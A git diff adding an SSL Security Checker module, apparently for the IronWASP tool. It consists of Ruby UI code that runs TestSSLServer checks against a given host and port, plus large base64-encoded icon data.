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') + mod_label_1 = ModLabel.new() + mod_label_1.Name = 'mod_label_1' + mod_label_1.Size = ModUiTools.get_size_definition(100,23) + mod_label_1.Location = ModUiTools.get_location_definition(13,39) + mod_label_1.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + mod_label_1.Dock = ModUiTools.get_dock_style_definition('None') + mod_label_1.Enabled = true + mod_label_1.BackColor = ModUiTools.get_color_definition(-986896) + mod_label_1.ForeColor = ModUiTools.get_color_definition(-16777216) + mod_label_1.BorderStyle = ModUiTools.get_border_style_definition('None') + mod_label_1.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + mod_label_1.Text = Tools.base64_decode('T3V0cHV0Og==') + ui.Controls.Add(mod_label_1) + ui.mod_controls['mod_label_1'] = mod_label_1 + _outputText = ModTextBox.new() + _outputText.Name = '_outputText' + _outputText.Size = ModUiTools.get_size_definition(543,335) + _outputText.Location = ModUiTools.get_location_definition(13,65) + _outputText.Anchor = ModUiTools.get_anchor_style_definition(true,true,true,true) + _outputText.Dock = ModUiTools.get_dock_style_definition('None') + _outputText.Enabled = true + _outputText.BackColor = ModUiTools.get_color_definition(-1) + _outputText.ForeColor = ModUiTools.get_color_definition(-16777216) + _outputText.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _outputText.ReadOnly = false + _outputText.ScrollBars = ModUiTools.get_scroll_bars_definition('Both') + _outputText.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _outputText.Multiline = true + _outputText.WordWrap = false + _outputText.TextAlign = ModUiTools.get_text_align_definition('Left') + ui.Controls.Add(_outputText) + ui.mod_controls['_outputText'] = _outputText + _goBtn = ModButton.new() + _goBtn.Name = '_goBtn' + _goBtn.Size = ModUiTools.get_size_definition(75,23) + _goBtn.Location = ModUiTools.get_location_definition(478,7) + _goBtn.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _goBtn.Dock = ModUiTools.get_dock_style_definition('None') + _goBtn.Enabled = true + _goBtn.BackColor = ModUiTools.get_color_definition(-986896) + _goBtn.ForeColor = ModUiTools.get_color_definition(-16777216) + _goBtn.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _goBtn.Text = Tools.base64_decode('R28=') + ui.Controls.Add(_goBtn) + ui.mod_controls['_goBtn'] = _goBtn + _portValue = ModTextBox.new() + _portValue.Name = '_portValue' + _portValue.Size = ModUiTools.get_size_definition(70,20) + _portValue.Location = ModUiTools.get_location_definition(402,9) + _portValue.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _portValue.Dock = ModUiTools.get_dock_style_definition('None') + _portValue.Enabled = true + _portValue.BackColor = ModUiTools.get_color_definition(-1) + _portValue.ForeColor = ModUiTools.get_color_definition(-16777216) + _portValue.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _portValue.ReadOnly = false + _portValue.ScrollBars = ModUiTools.get_scroll_bars_definition('None') + _portValue.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _portValue.Multiline = false + _portValue.WordWrap = true + _portValue.TextAlign = ModUiTools.get_text_align_definition('Left') + _portValue.Text = Tools.base64_decode('NDQz') + ui.Controls.Add(_portValue) + ui.mod_controls['_portValue'] = _portValue + _portLbl = ModLabel.new() + _portLbl.Name = '_portLbl' + _portLbl.Size = ModUiTools.get_size_definition(40,23) + _portLbl.Location = ModUiTools.get_location_definition(366,9) + _portLbl.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _portLbl.Dock = ModUiTools.get_dock_style_definition('None') + _portLbl.Enabled = true + _portLbl.BackColor = ModUiTools.get_color_definition(-986896) + _portLbl.ForeColor = ModUiTools.get_color_definition(-16777216) + _portLbl.BorderStyle = ModUiTools.get_border_style_definition('None') + _portLbl.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _portLbl.Text = Tools.base64_decode('UG9ydDo=') + ui.Controls.Add(_portLbl) + ui.mod_controls['_portLbl'] = _portLbl + _hostNameValue = ModTextBox.new() + _hostNameValue.Name = '_hostNameValue' + _hostNameValue.Size = ModUiTools.get_size_definition(265,20) + _hostNameValue.Location = ModUiTools.get_location_definition(94,9) + _hostNameValue.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _hostNameValue.Dock = ModUiTools.get_dock_style_definition('None') + _hostNameValue.Enabled = true + _hostNameValue.BackColor = ModUiTools.get_color_definition(-1) + _hostNameValue.ForeColor = ModUiTools.get_color_definition(-16777216) + _hostNameValue.BorderStyle = ModUiTools.get_border_style_definition('Fixed3D') + _hostNameValue.ReadOnly = false + _hostNameValue.ScrollBars = ModUiTools.get_scroll_bars_definition('None') + _hostNameValue.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + _hostNameValue.Multiline = false + _hostNameValue.WordWrap = true + _hostNameValue.TextAlign = ModUiTools.get_text_align_definition('Left') + _hostNameValue.Text = Tools.base64_decode('ZS5nLiBpcm9ud2FzcC5vcmc=') + ui.Controls.Add(_hostNameValue) + ui.mod_controls['_hostNameValue'] = _hostNameValue + _hostNameLbl = ModLabel.new() + _hostNameLbl.Name = '_hostNameLbl' + _hostNameLbl.Size = ModUiTools.get_size_definition(76,23) + _hostNameLbl.Location = ModUiTools.get_location_definition(12,9) + _hostNameLbl.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + _hostNameLbl.Dock = ModUiTools.get_dock_style_definition('None') + _hostNameLbl.Enabled = true + _hostNameLbl.BackColor = ModUiTools.get_color_definition(-986896) + _hostNameLbl.ForeColor = ModUiTools.get_color_definition(-16777216) + _hostNameLbl.BorderStyle = ModUiTools.get_border_style_definition('None') + _hostNameLbl.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',9,true,false,false,false) + _hostNameLbl.Text = Tools.base64_decode('SG9zdG5hbWU6') + ui.Controls.Add(_hostNameLbl) + ui.mod_controls['_hostNameLbl'] = _hostNameLbl + mod_label_2 = ModLabel.new() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.get_size_definition(8,8) + mod_label_2.Location = ModUiTools.get_location_definition(20,0) + mod_label_2.Anchor = ModUiTools.get_anchor_style_definition(true,false,true,false) + mod_label_2.Dock = ModUiTools.get_dock_style_definition('None') + mod_label_2.Enabled = true + mod_label_2.BackColor = ModUiTools.get_color_definition(-986896) + mod_label_2.ForeColor = ModUiTools.get_color_definition(-16777216) + mod_label_2.BorderStyle = ModUiTools.get_border_style_definition('None') + mod_label_2.Font = ModUiTools.get_font_definition('Microsoft Sans Serif',8.25,false,false,false,false) + ui.Controls.Add(mod_label_2) + ui.mod_controls['mod_label_2'] = mod_label_2 + ui.ShowUi() + + # Event handler for the Go button + _goBtn.Click do + # For running the code in a background thread, use the IronThread class + IronThread.Run( + Proc.new do + exec_checks(_hostNameValue.Text, _portValue.Text, _outputText) + end + ) + end + + # Handle the output events thrown by the TestSSLServer dll and print the messages + if not @tss.output_event_set + _outputText.Text = "" + @tss.output_message do |msg| + _outputText.AppendText(msg) + end + end +end + + +def exec_checks(hostname, port, output) + output.Text = "" + output.Text = @tss.run_checks(hostname, port) +end + +#This code is executed only once when this new module is loaded in to the memory. +#Create an instance of the this module +m = SSLSecurityChecker.new +#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of Modules +RubyModule.add(m.get_instance) + + diff --git a/modules/SSLSecurityChecker/SSLSecurityChecker.xml b/modules/SSLSecurityChecker/SSLSecurityChecker.xml new file mode 100644 index 0000000..275789c --- /dev/null +++ b/modules/SSLSecurityChecker/SSLSecurityChecker.xml @@ -0,0 +1,327 @@ + + + + 584 + 450 + + U1NMIFNlY3VyaXR5IENoZWNrZXI= + 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